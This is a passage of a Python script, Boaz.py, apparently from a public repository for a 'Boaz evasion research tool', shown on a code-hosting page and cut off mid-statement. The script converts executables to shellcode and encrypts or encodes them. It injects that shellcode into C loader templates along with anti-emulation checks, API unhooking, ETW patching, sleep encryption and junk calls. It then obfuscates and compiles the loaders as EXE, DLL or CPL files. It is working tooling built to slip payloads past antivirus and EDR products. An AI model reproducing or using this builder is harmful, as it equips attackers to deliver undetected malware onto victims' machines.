-
Notifications
You must be signed in to change notification settings - Fork 47
/
Boaz.py
1378 lines (1161 loc) · 71 KB
/
Boaz.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# Boaz evasion research tool main script
# Author: thomas XM
# Date 2023
#
# This file is part of the Boaz tool
# Copyright (c) 2019-2024 Thomas M
# Licensed under the GPLv3 or later.
#
import argparse
import subprocess
import os
import shutil
import re
import random
import string
import time
import glob
import sys
import hashlib
def check_non_negative(value):
ivalue = int(value)
if ivalue < 0:
raise argparse.ArgumentTypeError("%s is an invalid non-negative int value" % value)
return ivalue
def generate_random_filename(length=6):
# Generate a random string of fixed length
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
## .bin input file
def handle_star_dust(input_file):
if not input_file.endswith('.bin'):
print("Warning, Stardust needs a binary shellcode file .bin as input")
# Exit the program if the input file is not a .bin file
sys.exit(1)
print(f"[!] Using Stardust to generate shellcode from binary file: {input_file}")
# Run bin_to_c_array.py to convert .bin to C array and save it to ./shellcode.txt
subprocess.run(['python3', 'encoders/bin_to_c_array.py', input_file, './shellcode.txt'], check=True)
# Read the generated ./shellcode.txt to find the shellcode
with open('./shellcode.txt', 'r') as file:
content = file.read()
# Find the position of "unsigned char buf[] ="
start = content.find('unsigned char buf[] =')
if start == -1:
print("Error: 'unsigned char buf[] =' not found in shellcode.txt")
return
start += len('unsigned char buf[] =')
end = content.find(';', start)
shellcode = content[start:end].strip()
## Make a copy of Stardust/src/Main.c
# subprocess.run(['cp', 'Stardust/src/Main.c', 'Stardust/src/Main.c.bak'], check=True)
subprocess.run(['cp', 'Stardust/src/Main.c.bak', 'Stardust/src/Main.c'], check=True)
# Replace the placeholder ####MAGICSPELL#### in Stardust/src/Main.c
stardust_main_path = 'Stardust/src/Main.c'
with open(stardust_main_path, 'r') as file:
main_content = file.read()
if '####MAGICSPELL####' not in main_content:
print("Error: '####MAGICSPELL####' placeholder not found in Stardust/src/Main.c")
return
main_content = main_content.replace('####MAGICSPELL####', shellcode)
# Write the updated content back to Stardust/src/Main.c
with open(stardust_main_path, 'w') as file:
file.write(main_content)
# Run `make` command in the /Stardust directory
subprocess.run(['make', '-C', './Stardust'], check=True)
#
# Copy the generated boaz.x64.bin to the current directory
subprocess.run(['cp', 'Stardust/bin/boaz.x64.bin', '.'], check=True)
# remove ./shellcode.txt after usage:
subprocess.run(['rm', './shellcode.txt'], check=True)
# copy the original backup file back to Stardust/src/Main.c
# subprocess.run(['cp', 'Stardust/src/Main.c.bak', 'Stardust/src/Main.c'], check=True)
def generate_shellcode(input_exe, output_path, shellcode_type, encode=False, encoding=None, star_dust=False):
if not star_dust:
# Generate the initial shellcode .bin file
# TODO: Add support for other shellcode types
if shellcode_type == 'donut':
cmd = ['./PIC/donut', '-b1', '-f1', '-i', input_exe, '-o', output_path + ".bin"]
elif shellcode_type == 'pe2sh':
cmd = ['wine', './PIC/pe2shc.exe', input_exe, output_path + ".bin"]
elif shellcode_type == 'rc4':
cmd = ['wine', './PIC/rc4_x64.exe', input_exe, output_path + ".bin", '-r']
if subprocess.run(cmd, check=False, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL).returncode != 0:
# If rc4_x64.exe fails, try with rc4_x86.exe for 32-bit payloads
cmd = ['wine', '/PIC/rc4_x86.exe', input_exe, output_path + ".bin", '-r']
elif shellcode_type == 'amber':
a_number = random.randint(1, 30)
# print(f"Encoding number: {a_number}")
cmd = ['./PIC/amber', '-e', str(a_number), '--iat', '--scrape', '-f', input_exe, '-o', output_path + ".bin"]
elif shellcode_type == 'shoggoth':
cmd = ['wine', './PIC/shoggoth.exe', '-v', '-i', input_exe, '-o', output_path + ".bin", '--mode', 'pe']
else:
raise ValueError("Unsupported shellcode type.")
# Run the initial shellcode generation command
# subprocess.run(cmd, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
# run the above command but do not supress output:
subprocess.run(cmd, check=True)
# print the shellcode type used:
print(f"[+] Shellcode type used: {shellcode_type}")
elif star_dust:
output_path = input_exe
# print output_path
print(f"[+] Shellcode saved to: {output_path}")
### TODO: add support for stardust option:
# If encode flag is True, use sgn to encode the shellcode
if encode:
random_count = random.randint(1, 100) # Generate a random count between 1 and 100
encoded_output_path = output_path + "1.bin" # Specify the encoded output file path
encode_cmd = ['./encoders/sgn', '-a', '64', '-i', output_path + ".bin", '-o', encoded_output_path]
# encode_cmd = ['./sgn', '-a', '64', '-v', '-c', str(random_count), '-i', output_path + ".bin", '-o', encoded_output_path]
try:
subprocess.run(encode_cmd, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
print(f"Shellcode successfully encoded with {random_count} iterations.")
print(f"Encoded shellcode saved to: {encoded_output_path}")
except subprocess.CalledProcessError:
print("Shellcode encoding failed.")
output_path_bin = encoded_output_path
else:
# If not encoding, keep using the original .bin file
output_path_bin = output_path + ".bin"
if encoding:
encoding_output_path = output_path.replace(".bin", "")
## TODO: Add support for other encoding types
if encoding == 'uuid':
cmd = ['python3', './encoders/bin2uuid.py', output_path_bin, '>', encoding_output_path]
if encoding == 'xor':
cmd = ['python3', './encoders/bin2xor.py', output_path_bin, '>', encoding_output_path]
elif encoding == 'mac':
cmd = ['python3', './encoders/bin2mac.py', output_path_bin, '>', encoding_output_path]
elif encoding == 'ipv4':
cmd = ['python3', './encoders/bin2ipv4.py', output_path_bin, '>', encoding_output_path]
elif encoding == 'base45':
cmd = ['python3', './encoders/bin2base45.py', output_path_bin, '>', encoding_output_path]
elif encoding == 'base64':
cmd = ['python3', './encoders/bin2base64.py', output_path_bin, '>', encoding_output_path]
elif encoding == 'base58':
cmd = ['python3', './encoders/bin2base58.py', output_path_bin, '>', encoding_output_path]
elif encoding == 'aes':
cmd = ['python3', './encoders/bin2aes.py', output_path_bin, '>', encoding_output_path]
elif encoding == 'aes2':
cmd = ['python3', './encoders/bin2aes.py', output_path_bin, '>', encoding_output_path]
elif encoding == 'chacha':
cmd = ['python3', './encoders/bin2chacha.py', output_path_bin, '>', encoding_output_path]
elif encoding == 'ascon':
cmd = ['python3', './encoders/bin2ascon.py', output_path_bin, '>', encoding_output_path]
subprocess.run(' '.join(cmd), shell=True, check=True)
output_path = encoding_output_path
print(f"[+] Shellcode encoded with {encoding} and saved to: {output_path}")
else:
# Process the .bin file to a C char array if not using UUID
process_cmd = ['python3', './encoders/bin_to_c_array.py', output_path_bin, output_path]
subprocess.run(process_cmd, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
# # Process the .bin file (encoded or original) to a C char array
# process_cmd = ['python3', 'bin_to_c_array.py', output_path_bin, output_path]
# subprocess.run(process_cmd, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
def read_shellcode(file_path):
with open(file_path, 'r') as file:
content = file.read()
# Extract the shellcode from the file content
start = content.find('unsigned char buf[] = ') + len('unsigned char buf[] = ')
end = content.rfind(';')
shellcode = content[start:end].strip()
return shellcode
# def insert_junk_api_calls(content, junk_api, main_func_pattern):
# if not junk_api:
# return content
# # Add the include statement at the top
# content = '#include "normal_api.h"\n' + content
# # Find the main function's scope
# # main_func_pattern = r'\bint\s+main\s*\([^)]*\)\s*\{'
# match = re.search(main_func_pattern, content, re.MULTILINE)
# if match:
# start_pos = match.end()
# # Find the position of the closing brace for main
# end_pos = content.rfind('}', start_pos)
# if end_pos == -1:
# end_pos = len(content)
# # Attempt to find "safe" lines by avoiding lines immediately following an opening brace or leading into a closing brace
# lines = content[start_pos:end_pos].split('\n')
# safe_lines = [i for i, line in enumerate(lines) if '{' not in line and '}' not in line and line.strip() != '']
# if safe_lines:
# # Choose a random line index from the safe ones, avoiding first and last line
# chosen_line_index = random.choice(safe_lines[1:-1])
# # Construct the modified content
# indentation = ' '
# modified_line = f"{indentation}executeAPIFunction();\n{lines[chosen_line_index]}"
# lines[chosen_line_index] = modified_line
# # Reconstruct the content with the inserted call
# content = content[:start_pos] + '\n'.join(lines) + content[end_pos:]
# return content
def insert_junk_api_calls(content, junk_api, main_func_pattern):
if not junk_api:
return content
# Adding the include at the top if not already included
if '#include "normal_api.h"' not in content:
content = '#include "normal_api.h"\n' + content
# Find the opening of the main function
main_start = re.search(main_func_pattern, content, re.MULTILINE)
if main_start:
# Find the index just after the opening brace of the main function
open_brace_index = content.find('{', main_start.end()) + 1
if open_brace_index > 0:
# Find the end of the first complete statement after the opening brace
statement_end = content.find(';', open_brace_index)
if statement_end > 0:
# Insert the API call after the first complete statement
insert_position = statement_end + 1
content = content[:insert_position] + '\n executeAPIFunction();\n' + content[insert_position:]
return content
# def write_loader(loader_template_path, shellcode, shellcode_file, shellcode_type, output_path, sleep_flag, anti_emulation, junk_api, api_unhooking, god_speed, encoding=None, dream_time=None, file_name=None, etw=False, compile_as_dll=False, compile_as_cpl = False, compile_as_exe = False, compile_as_scr = False, compile_as_sys = False, compile_as_dll = False, compile_as_drv = False, compile_as_ocx = False, compile_as_tlb = False, compile_as_tsp = False, compile_as_msc = False, compile_as_msi = False, compile_as_msp = False, compile_as_mst)
def write_loader(loader_template_path, shellcode, shellcode_file, shellcode_type, output_path, sleep_flag, anti_emulation, junk_api, api_unhooking, god_speed, encoding=None, dream_time=None, file_name=None, etw=False, compile_as_dll=False, compile_as_cpl = False, star_dust = False):
# Adjust loader_template_path for DLL
if compile_as_dll:
loader_template_path = loader_template_path.replace('.c', '.dll.c')
# Pattern for the DLL's entry function, need regex to replace this dumb form
main_func_pattern = r"void CALLBACK ExecuteMagiccode\(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow\) \{"
elif compile_as_cpl:
loader_template_path = loader_template_path.replace('.c', '.cpl.c')
# Pattern for the CPL's entry function
main_func_pattern = r"LONG CALLBACK CPlApplet\(HWND hwndCPl, UINT uMsg, LPARAM lParam1, LPARAM lParam2\) \{"
else:
# Pattern for the standard main function in EXE
main_func_pattern = r"\bint\s+main\s*\([^)]*\)\s*\{"
with open(loader_template_path, 'r') as file:
content = file.read()
# Insert sleep encryption if dream flag is used
if dream_time is not None:
# Include the sleep_encrypt header
content = '#include "sleep_encrypt.h"\n' + content
### statement to indicate to user that sweet dream is being used:
print(f"SweetDream is being used with a dream time of {dream_time/1000} seconds.\n")
# Find the main function and insert SweetSleep call
# main_func_pattern = r'\bint\s+main\s*\([^)]*\)\s*\{'
match = re.search(main_func_pattern, content, re.MULTILINE)
if match:
insert_pos = match.end()
newline_pos = content.find('\n', insert_pos)
if newline_pos != -1:
next_line_start = newline_pos + 1
sweet_sleep_call = f' printf("[+] Encrypting Heaps/Stacks ...\\n\\n\\n");\n SweetSleep({dream_time});\n'
content = content[:next_line_start] + sweet_sleep_call + content[next_line_start:]
if (encoding is not None):
if not star_dust:
encoded_output_path = f'note_{shellcode_type}' #
elif star_dust:
encoded_output_path = f'boaz.x64' #
## TODO: Add support for other encoding types
if encoding == 'uuid':
include_header = '#include "uuid_converter.h"\n'
elif encoding == 'xor':
include_header = '#include "xor_converter.h"\n'
elif encoding == 'mac':
include_header = '#include "mac_converter.h"\n'
elif encoding == 'ipv4':
include_header = '#include "ipv4_converter.h"\n'
elif encoding == 'base45':
include_header = '#include "base45_converter.h"\n'
elif encoding == 'base64':
include_header = '#include "base64_converter.h"\n'
elif encoding == 'base58':
include_header = '#include "base58_converter.h"\n'
elif encoding == 'aes':
include_header = '#include "aes_converter.h"\n'
elif encoding == 'aes2':
include_header = '#include "aes2_converter.h"\n'
elif encoding == 'chacha':
include_header = '#include "chacha_converter.h"\n'
elif encoding == 'ascon':
include_header = '#include "ascon_converter.h"\n'
else:
# Default to uuid if not specified for backward compatibility
include_header = '#include "uuid_converter.h"\n'
encoding = 'uuid'
with open(encoded_output_path, 'r') as encoded_file:
encoded_content = encoded_file.read()
encoded_insertion = f"\n// {encoding.upper()}s generated from magic \n" + encoded_content
magiccode_declaration = 'unsigned char magiccode[] ='
if magiccode_declaration in content:
content = content.replace(magiccode_declaration, '')
placeholder = '####SHELLCODE####'
if placeholder in content:
content = content.replace(placeholder, encoded_insertion)
else:
if compile_as_dll:
# Find the position of the closing brace for the DLL's entry function
# main_index = content.find('void CALLBACK ExecuteMagiccode')
main_index = content.find('void CALLBACK ExecuteMagiccode(')
elif compile_as_cpl:
main_index = content.find('LONG CALLBACK CPlApplet(')
else:
main_index = content.find('int main')
if main_index != -1:
content = content[:main_index] + encoded_insertion + "\n" + content[main_index:]
# content = content[:main_index] + encoded_insertion + "\n" + content[main_index:]
content = include_header + content
if compile_as_dll:
main_func_index = content.find('void CALLBACK ExecuteMagiccode(')
elif compile_as_cpl:
main_func_index = content.find('LONG CALLBACK CPlApplet(')
else:
main_func_index = content.find('int main(')
if main_func_index != -1:
opening_brace_index_main = content.find('{', main_func_index) + 1
### TODO:
if encoding == 'uuid':
encoding_declaration_index = content.find('const char* UUIDs[]')
conversion_logic_template = """
constexpr int numUuids = sizeof(UUIDs) / sizeof(UUIDs[0]);
unsigned char magiccode[numUuids * 16];
unsigned char* magiccodePtr = magiccode;
convertUUIDsToMagicCode(UUIDs, magiccodePtr, numUuids);
printf("[+] MagicCodePtr size: %lu bytes\\n", sizeof(magiccodePtr));
printf("[+] size of magiccode: %lu bytes\\n", sizeof(magiccode));
"""
elif encoding == 'xor':
encoding_declaration_index = content.find('unsigned char XORed[]')
conversion_logic_template = """
size_t dataSize = sizeof(XORed) / sizeof(XORed[0]);
unsigned char magiccode[dataSize];
xorDecode(XORed, magiccode, dataSize, XORkey);
printf("[+] size of magiccode: %lu bytes\\n", sizeof(magiccode));
"""
elif encoding == 'mac':
encoding_declaration_index = content.find('const char* MAC[]')
conversion_logic_template = """
constexpr int numMac = sizeof(MAC) / sizeof(MAC[0]);
unsigned char magiccode[numMac * 6];
unsigned char* magiccodePtr = magiccode;
CustomEthernetStringToAddressArray(MAC, numMac, magiccode);
printf("[+] MagicCodePtr size: %lu bytes\\n", sizeof(magiccodePtr));
printf("[+] size of magiccode: %lu bytes\\n", sizeof(magiccode));
"""
elif encoding == 'ipv4':
encoding_declaration_index = content.find('const char* IPv4s[]')
conversion_logic_template = """
constexpr int numIpv4 = sizeof(IPv4s) / sizeof(IPv4s[0]);
unsigned char magiccode[numIpv4 * 4];
unsigned char* magiccodePtr = magiccode;
convertIPv4sToMagicCode(IPv4s, magiccodePtr, numIpv4);
printf("[+] MagicCodePtr size: %lu bytes\\n", sizeof(magiccodePtr));
printf("[+] size of magiccode: %lu bytes\\n", sizeof(magiccode));
"""
elif encoding == 'base45':
encoding_declaration_index = content.find('const char base45[]')
conversion_logic_template = """
DWORD decodedSize = CalculateBase45DecodedSize(base45);
unsigned char magiccode[decodedSize];
unsigned char* magiccodePtr = magiccode;
if (CustomBase45ToBinary(base45, strlen(base45), magiccodePtr, &decodedSize)) {
printf("Failed to decode base45 string\\n");
free(magiccode);
}
printf("[+] MagicCodePtr size: %lu bytes\\n", sizeof(magiccodePtr));
printf("[+] size of magiccode: %lu bytes\\n", sizeof(magiccode));
"""
elif encoding == 'base64':
encoding_declaration_index = content.find('const char base64[]')
conversion_logic_template = """
DWORD decodedSize = CalculateDecodedSize(base64);
unsigned char magiccode[decodedSize];
unsigned char* magiccodePtr = magiccode;
if (!CustomCryptStringToBinaryA(base64, strlen(base64), magiccodePtr, &decodedSize)) {
printf("Failed to decode base64 string\\n");
free(magiccode);
}
printf("[+] MagicCodePtr size: %lu bytes\\n", sizeof(magiccodePtr));
printf("[+] size of magiccode: %lu bytes\\n", sizeof(magiccode));
"""
elif encoding == 'base58':
encoding_declaration_index = content.find('const char base58[]')
conversion_logic_template = """
DWORD decodedSize = CalculateDecodedSizeBase58(base58);
unsigned char magiccode[decodedSize];
unsigned char* magiccodePtr = magiccode;
if (!CustomCryptStringToBinaryA(base58, strlen(base58), magiccodePtr, &decodedSize)) {
printf("Failed to decode base58 string\\n");
free(magiccode); // Don't forget to free allocated memory on failure
}
printf("[+] MagicCodePtr size: %lu bytes\\n", sizeof(magiccodePtr));
printf("[+] size of magiccode: %lu bytes\\n", sizeof(magiccode));
"""
elif encoding == 'aes':
encoding_declaration_index = content.find('unsigned char magiccode[]')
conversion_logic_template = """
DWORD aes_length = sizeof(magiccode);
DecryptAES((char*)magiccode, aes_length, AESkey, sizeof(AESkey));
printf("[+] size of magiccode: %lu bytes\\n", sizeof(magiccode));
"""
elif encoding == 'chacha':
encoding_declaration_index = content.find('unsigned char magic_code[]')
conversion_logic_template = """
int lenMagicCode = sizeof(magic_code);
unsigned char magiccode[lenMagicCode];
test_decryption();
chacha20_encrypt(magiccode, magic_code, lenMagicCode, CHACHA20key, CHACHA20nonce, 1);
// print_decrypted_result(magiccode, lenMagicCode);
printf("\\n");
"""
elif encoding == 'ascon':
encoding_declaration_index = content.find('unsigned char magic_code[]')
conversion_logic_template = """
SIZE_T lenMagicCode = sizeof(magic_code);
unsigned char magiccode[lenMagicCode];
cast6_decrypt(magic_code, lenMagicCode, CAST6key, magiccode);
print_hex("magic code:", magiccode, lenMagicCode);
printf("\\n");
"""
elif encoding == 'aes2':
encoding_declaration_index = content.find('unsigned char magiccode[]')
conversion_logic_template = (
" DWORD aes_length = sizeof(magiccode);\n"
" unsigned int half_length = aes_length / 2; \n"
" int sifu = 2897;\n"
" int ninja = 7987;\n"
" for (int i = 0; i < 100000000; i++) {\n"
" if(ninja == 7987 && i == 99527491 && sifu != 7987) {\n"
" printf(\"[+] Sifu is not happy! \\n\");\n"
" printf(\"Fibonacci number at position %d is %lld\\n\", 45, fibonacci(45));\n"
" DecryptAES((char*)magiccode, half_length, AESkey, sizeof(AESkey));\n"
" }\n"
" \n"
" if(ninja != 2897 && i == 99527491 && sifu == 2897){\n"
" printFactorial(20);\n"
" printf(\"[+] Ninja is going to perform ninjutsu! \\n\");\n"
" HANDLE mutex;\n"
" mutex = CreateMutex(NULL, TRUE, \"muuuutttteeexxx\");\n"
" if (GetLastError() == ERROR_ALREADY_EXISTS) {\n"
" DecryptAES((char*)(magiccode + half_length), half_length, AESkey, sizeof(AESkey));\n"
" printf(\"Mutex already exists. \\n\");\n"
" } else {\n"
" printf(\"Mutex does not exist. \\n\");\n"
" startExe(\"" + file_name + "\");\n"
" Sleep(100);\n"
" }\n"
" \n"
" }\n"
" }\n")
if encoding_declaration_index != -1 and (encoding_declaration_index < main_func_index or main_func_index == -1):
pass # Placeholder for any specific logic when encoding declarations are outside main
if encoding_declaration_index > main_func_index and main_func_index != -1:
if encoding == 'base64' or encoding == 'base58':
closing_brace_index = content.find('";', encoding_declaration_index) + 1
else:
closing_brace_index = content.find('};', encoding_declaration_index) + 1
insertion_point = content.find('\n', closing_brace_index) + 1
else:
insertion_point = opening_brace_index_main if main_func_index != -1 else -1
if insertion_point != -1:
content = content[:insertion_point] + conversion_logic_template + content[insertion_point:]
else:
print("Error: Appropriate insertion place not found.")
# Insert API unhooking if the flag is set
if api_unhooking:
# Ensure #include "api_untangle.h" is added at the top of the file
content = '#include "api_untangle.h"\n' + content
# Insert ExecuteModifications at the beginning of the main function
# main_func_pattern = r'\bint\s+main\s*\([^)]*\)\s*\{'
match = re.search(main_func_pattern, content, re.MULTILINE)
if match:
insert_pos = match.end()
newline_pos = content.find('\n', insert_pos)
if newline_pos != -1:
next_line_start = newline_pos + 1
indentation = ' '
execute_modifications_call = f"{indentation}ExecuteModifications(argc, argv);\n"
content = content[:next_line_start] + execute_modifications_call + content[next_line_start:]
# Insert junk API calls if the flag is set
content = insert_junk_api_calls(content, junk_api, main_func_pattern)
# Replace the placeholder with the actual shellcode
if (encoding == None):
content = content.replace('####SHELLCODE####', shellcode)
if anti_emulation:
content = '#include "anti_emu.h"\n' + content
# ETW patching functionality
if etw:
# Include the ETW patch header at the top
content = '#include "etw_pass.h"\n' + content
# Find the appropriate place to insert the ETW patch code, insert after the call to `executeAllChecksAndEvaluate();`
# main_func_pattern = r'\bint\s+main\s*\([^)]*\)\s*\{'
match = re.search(main_func_pattern, content, re.MULTILINE)
if match:
insert_pos = content.find('executeAllChecksAndEvaluate();', match.end())
if insert_pos != -1:
insert_pos += len('executeAllChecksAndEvaluate();') + 1
else:
# If specific call to `executeAllChecksAndEvaluate();` not found, just insert after opening brace of main
insert_pos = match.end() + 1
etw_patch_code = '''
if (everyThing() == EXIT_SUCCESS) {
printf("\\n[+] ETW Patched Successfully...\\n");
} else {
printf("\\n[-] ETW Patch Failed...\\n");
}
'''
# Insert the ETW patch code at the determined position
content = content[:insert_pos] + etw_patch_code + content[insert_pos:]
if god_speed:
content = '#include "god_speed.h"\n' + content
# main_func_pattern = r'\bint\s+main\s*\([^)]*\)\s*\{'
match = re.search(main_func_pattern, content, re.MULTILINE)
if match:
insert_pos = match.end()
newline_pos = content.find('\n', insert_pos)
if newline_pos != -1:
next_line_start = newline_pos + 1
indentation_match = re.match(r'\s*', content[next_line_start:])
indentation = indentation_match.group(0) if indentation_match else ''
function_calls = ''
if anti_emulation:
## TODO: add file name to check:
# function_calls += f"{indentation}executeAllChecksAndEvaluate();\n"
# either compile_as_dll or compile_as_cpl is true, then we need to pass the file name to the function
if compile_as_dll or compile_as_cpl:
function_call = f"executeAllChecksAndEvaluate();"
else:
function_call = f"executeAllChecksAndEvaluate(\"{file_name}\", argv[0]);" if file_name is not None else "executeAllChecksAndEvaluate();"
function_calls += f"{indentation}{function_call}\n"
if god_speed:
# Ensure ExecuteProcessOperations(); is placed right after executeAllChecksAndEvaluate(); if both flags are set
function_calls += f"{indentation}ExecuteProcessOperations();\n"
content = content[:next_line_start] + function_calls + content[next_line_start:]
# Existing logic for inserting performSweetSleep(); remains unchanged...
if sleep_flag:
# Ensure #include "sweet_sleep.h" is added at the top of the file
if '#include "sweet_sleep.h"' not in content:
content = '#include "sweet_sleep.h"\n' + content
# Use a regular expression to find the opening brace of the main function
match = re.search(main_func_pattern, content, re.MULTILINE)
if match:
insert_pos = match.end()
newline_pos = content.find('\n', insert_pos)
if newline_pos != -1:
next_line_start = newline_pos + 1
next_line_end = content.find('\n', next_line_start)
next_line_content = content[next_line_start:next_line_end]
indentation_match = re.match(r'\s*', next_line_content)
indentation = indentation_match.group(0) if indentation_match else ''
sleep_call_with_indentation = f"{indentation}performSweetSleep();\n"
# Ensure sleep call is added after anti-emulation call if both flags are set
content = content[:next_line_start] + sleep_call_with_indentation + content[next_line_start:]
# Write to the new loader file
with open(output_path, 'w') as file:
file.write(content)
def run_obfuscation(loader_path):
obf_file = loader_path.replace('.c', '_obf.c')
patch_file = loader_path + '.patch'
try:
subprocess.run(['sudo', 'bash', './obfuscate/obfuscate_file.sh', loader_path], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
# subprocess.run(['sudo', 'bash', './obfuscate/obfuscate_file.sh', loader_path], check=True)
# Check if the patch file exists and rename it to obf_file
if os.path.exists(patch_file):
os.rename(patch_file, obf_file)
else:
print(f"Expected patch file not found: {patch_file}. Obfuscation may have failed.")
except subprocess.CalledProcessError as e:
print(f"Warning: Obfuscation step has some errors {e}. But do not worry, proceeding with the next steps.")
# Since obf_file is now defined outside of the try block, it can be safely used here
if os.path.exists(patch_file):
os.rename(patch_file, obf_file)
def compile_output(loader_path, output_name, compiler, sleep_flag, anti_emulation, insert_junk_api_calls, api_unhooking=False, mllvm_options=None, god_speed=False, encoding=None, loader_number=1, dream=None, etw=False, compile_as_dll=False, compile_as_cpl = False):
# Find the latest MinGW directory
mingw_dir_command = "ls -d /usr/lib/gcc/x86_64-w64-mingw32/*-win32 | sort -V | tail -n 1"
mingw_dir = subprocess.check_output(mingw_dir_command, shell=True, text=True).strip()
if not mingw_dir:
print("Error: No x86_64-w64-mingw32 directory found.")
sys.exit(1)
print(f"Using MinGW directory: {mingw_dir} \n")
if not mingw_dir:
print("Error: No x86_64-w64-mingw32 directory found.")
sys.exit(1)
if loader_number == 1 or 39 or 40 or 41:
try:
subprocess.run(['nasm', '-f', 'win64', 'assembly.asm', '-o', 'assembly.o'], check=True)
print("[+] NASM assembly compilation successful.")
except subprocess.CalledProcessError as e:
print(f"[-] NASM assembly compilation failed: {e}")
return # Exit the function if NASM compilation fails
if not output_name:
raise ValueError("output_name is empty. Please provide a valid output name.")
# Ensure output_name has a path
if not os.path.dirname(output_name):
output_name = "./" + output_name
output_dir = os.path.dirname(output_name)
if not os.path.exists(output_dir):
os.makedirs(output_dir)
if compiler == "mingw":
compile_command = ['x86_64-w64-mingw32-g++', '-I.', '-I./converter', '-I./evader', loader_path]
if compile_as_dll:
compile_command.append('-shared')
compile_command.append('-lntdll')
elif compile_as_cpl:
compile_command.append('-shared')
compile_command.extend(['-o', output_name])
elif compiler == "pluto":
# Default LLVM passes for Pluto, if any, can be specified here
mllvm_passes = ','.join(mllvm_options) if mllvm_options else ""
# compile_command = ['./llvm_obfuscator_pluto/bin/clang++', '-O3', '-flto', '-fuse-ld=lld',
# '-mllvm', f'-passes={mllvm_passes}',
# '-Xlinker', '-mllvm', '-Xlinker', '-passes=hlw,idc',
# '-target', 'x86_64-w64-mingw32', loader_path,
# '-o', output_name, '-v', '-L/usr/lib/gcc/x86_64-w64-mingw32/12-win32',
# '-L./clang_test_include', '-I./c++/', '-I./c++/mingw32/']
compile_command = ['./llvm_obfuscator_pluto/bin/clang++', '-I.', '-I./converter', '-I./evader', '-O3', '-flto', '-fuse-ld=lld',
'-mllvm', f'-passes={mllvm_passes}',
'-Xlinker', '-mllvm', '-Xlinker', '-passes=hlw,idc',
'-target', 'x86_64-w64-mingw32', '-I.', '-I./converter', '-I./evader', loader_path]
if compile_as_dll:
compile_command.append('-shared')
compile_command.append('-lntdll')
output_name = output_name.replace('.exe', '.dll')
elif compile_as_cpl:
compile_command.append('-shared')
output_name = output_name.replace('.exe', '.cpl')
compile_command.extend(['-o', output_name, '-v', f'-L{mingw_dir}',
